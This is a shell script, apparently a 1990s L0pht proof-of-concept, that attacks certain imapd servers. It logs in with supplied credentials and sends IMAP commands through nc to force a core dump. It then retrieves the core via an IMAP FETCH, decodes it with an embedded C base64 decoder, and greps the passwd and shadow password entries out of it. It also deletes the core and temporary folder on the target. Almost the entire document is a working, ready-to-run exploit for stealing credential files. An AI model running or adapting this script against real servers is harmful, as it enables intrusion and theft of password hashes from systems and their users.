#!/bin/sh
# mudge@l0pht.com
#
# A quick little tool that shows the dangers of priveledged programs dumping
# core.
#
# Shout outs to a bunch of people - in particular Nettwerk.
# Hey Nettwerk where'd ya go?

# Programs
NC=/usr/local/bin/nc
CAT=/bin/cat
RM=/bin/rm
GREP=/bin/grep
TAIL=/bin/tail
HEAD=/bin/head
MV=/bin/mv
TR=/bin/tr
STRINGS=/bin/strings
FILE=/bin/file
CC=/usr/local/bin/gcc

# temporary command and storage files
CMDS1=nc_commands1
CMDS2=nc_commands2
DECODE64_SRC=b64.c
TMPNAM=vunlklyname
TMPFILE=tmp.$$

# compiled BASE64 decoding program
DECODE64=./b64

# core file - sometimes base64 sometimes actuall dump file
CORE=core.$$

if [ $# != 3 ] ; then
  echo "usage: `basename $0` target username password"
  exit
fi

echo
echo "[L0pht Heavy Industries - l0pht.com]"
echo "`basename $0` - "
echo "  this is a quick proof of concept tool that causes some imapd"
echo "  implementations to dump core. Unfortunately the core file  "
echo "  contains the password and shadow password file in it!"
echo "         .mudge [mudge@l0pht.com]"
echo

# command line supplied variables
TARGET=$1
USER=$2
PASS=$3

# resultant password and shadow files
PASSWD=./etc_passwd_$TARGET
SHADOW=./etc_shadow_$TARGET

# the following logs in in plaintext as opposed through X AUTHENTICATE -
# you have been forwarned...
#   login with $user $pass
#   create a folder that probably isn't there
#   select the folder
#   copy the file to another name
#     the above will cause IMAP4rev1 to crash via calling dummy_copy
#     note: there are many other ways to get this thing to crash.
cat > $CMDS1 << FOEFOE

1 LOGIN $USER $PASS
2 CREATE $TMPNAM
3 SELECT $TMPNAM
4 COPY $TMPNAM $TMPNAM.$$

FOEFOE

# login with $user $pass (again in plaintext...)
# select the core file
# retrieve the core file base64 encoded as per RFC822
# delete the core file
# delete the temporary file we created
# bye bye
cat > $CMDS2 << FOEFOE

1 LOGIN $USER $PASS
2 SELECT core
3 UID FETCH 1 (UID RFC822.SIZE RFC822)
4 DELETE core
5 DELETE $TMPNAM
4 LOGOUT

FOEFOE

# The following quick little program to decode base64 was yanked in
# big chunks from Dave Winer's code sitting on
#     http://www.scripting.com/midas/base64/source.html
# hey, credit where it's due - Dave saved me some time here.
# modest changes by: mudge@l0pht.com

cat > $DECODE64_SRC << FOEFOE

#include <stdio.h>

#define TRUE 1
#define FALSE 0

void decodefile(FILE *, FILE *);

int main(int argc, char *argv[]){
  FILE *fin, *fout;

  if (argc > 3){
    printf("Usage: %s <infile> <outfile>\n", argv[0]);
    exit(1);
  }

  switch(argc){
    case 3:
      fin = fopen(argv[1], "r");
      fout = fopen(argv[2], "w");
      if (!fin || !fout) {
        perror("fopen");
        exit(1);
      }
      break;
    case 2:
      fin = fopen(argv[1], "r");
      fout = stdout;
      if (!fin) {
        perror("fopen");
        exit(1);
      }
      break;
    case 1:
      fin = stdin;
      fout = stdout;
      break;
  }

  decodefile(fin, fout);
  close(fin);
  close(fout);
  exit(0);
}

void decodefile(FILE *fin, FILE *fout) {

  short charctr;
  int breakout;
  unsigned char ch;
  unsigned char inbuf[3], outbuf[4];
  short bufctr = 0, ignore, eot = 0;

  while ((ch = fgetc(fin))) {
    if (feof(fin)){
      close(fin);
      break;
    }

    ignore = FALSE;

    if ((ch >= 'A') && (ch <= 'Z'))
      ch = ch - 'A';
    else if ((ch >= 'a') && (ch <= 'z'))
      ch = ch - 'a' + 26;
    else if ((ch >= '0') && (ch <= '9'))
      ch = ch - '0' + 52;
    else if (ch == '+')
      ch = 62;
    else if (ch == '=')
      eot = TRUE;
    else if (ch == '/')
      ch = 63;
    else
      ignore = TRUE;

    if (!ignore) {
      charctr = 3;
      breakout = FALSE;

      if (eot) {
        if (bufctr == 0)
          break;

        if ((bufctr == 1) || (bufctr == 2))
          charctr = 1;
        else
          charctr = 2;

        bufctr = 3;
        breakout = TRUE;
      }

      inbuf[bufctr++] = ch;

      if (bufctr == 4) {
        bufctr = 0;

        outbuf[0] = (inbuf[0] << 2) | ((inbuf[1] & 0x30) >> 4);
        outbuf[1] = ((inbuf[1] & 0x0F) << 4) | ((inbuf[2] & 0x3C) >> 2);
        outbuf[2] = ((inbuf[2] & 0x03) << 6) | (inbuf[3] & 0x3F);

        fprintf(fout, "%c%c%c", outbuf[0], outbuf[1], outbuf[2]);
      }

      if (breakout)
        break;
    }
  }

}

FOEFOE

$CC -o $DECODE64 $DECODE64_SRC
if [ ! -x $DECODE64 ] ; then
  echo "failed to compile base 64 decoding utility"
  echo "stop"
  $RM -f $DECODE64_SRC $DECODE64
  exit
fi

echo "[Starting]"
echo "Built base64 decoder..."
echo
echo "Running imap attack..."

$CAT $CMDS1 | $NC -w 10 $TARGET 143 > $TMPFILE

grep -i "server crashing" $TMPFILE > /dev/null

if [ $? -eq 0 ] ; then
  echo
  echo "Forced server to dump core. Reconnecting to grab file and clean up!"
  $CAT $CMDS2 | $NC -w 10 $TARGET 143 > $CORE
  $RM -f $CMDS1 $CMDS2 $TMPFILE
  echo "Stripping trailing c/r from RFC822 base64 encapsulated core file"
  # interesting... I must've missed the section of rfc 1521 that stated
  # they'd make this DOS'ish
  $TR -d '\015' < $CORE > $CORE.2 # strip off ^M's from file
  $MV -f $CORE.2 $CORE
else
  echo "Failed to crash server... cleaning up"
  $RM -f $CMDS1 $CMDS2 $TMPFILE $DECODE64 $DECODE64_SRC
  exit
fi

echo "Removing imap crap from beginning and end of $CORE"
VAR=`grep -n "^$" $CORE | awk -F: '{print $1}'`
VAR=`expr $VAR + 1`
$TAIL +$VAR $CORE > $TMPFILE
VAR=`grep -n "=" $TMPFILE | awk -F: '{print $1}'`
$HEAD -$VAR $TMPFILE > $CORE
$RM $TMPFILE

echo
echo "Converting base64 image to binary core file..."
$DECODE64 $CORE $TMPFILE
$MV $TMPFILE $CORE
$FILE $CORE

$STRINGS - $CORE | $GREP ':x:' > $PASSWD
$STRINGS -n 13 - $CORE | $GREP ':' | $GREP -v ' ' | $GREP -v ':x:' > $SHADOW

if [ -s $PASSWD ] ; then
  echo
  echo "Successfully grabbed some form of password file for $TARGET"
  echo "  results located in $PASSWD"
else
  echo "failed to create $PASSWD"
  $RM -f $PASSWD
fi

if [ -s $SHADOW ] ; then
  echo "Successfully grabbed some form of shadow file for $TARGET"
  echo "  results located in $SHADOW"
  echo "  [note: some manual cleanup of $SHADOW is probably required]"
  echo
else
  echo "failed to create $SHADOW"
  echo
  $RM -f $SHADOW
fi

$RM -f $DECODE64 $DECODE64_SRC
$MV -f $CORE core_${TARGET}
echo "[Finished]"
#                    www.hack.co.za                    #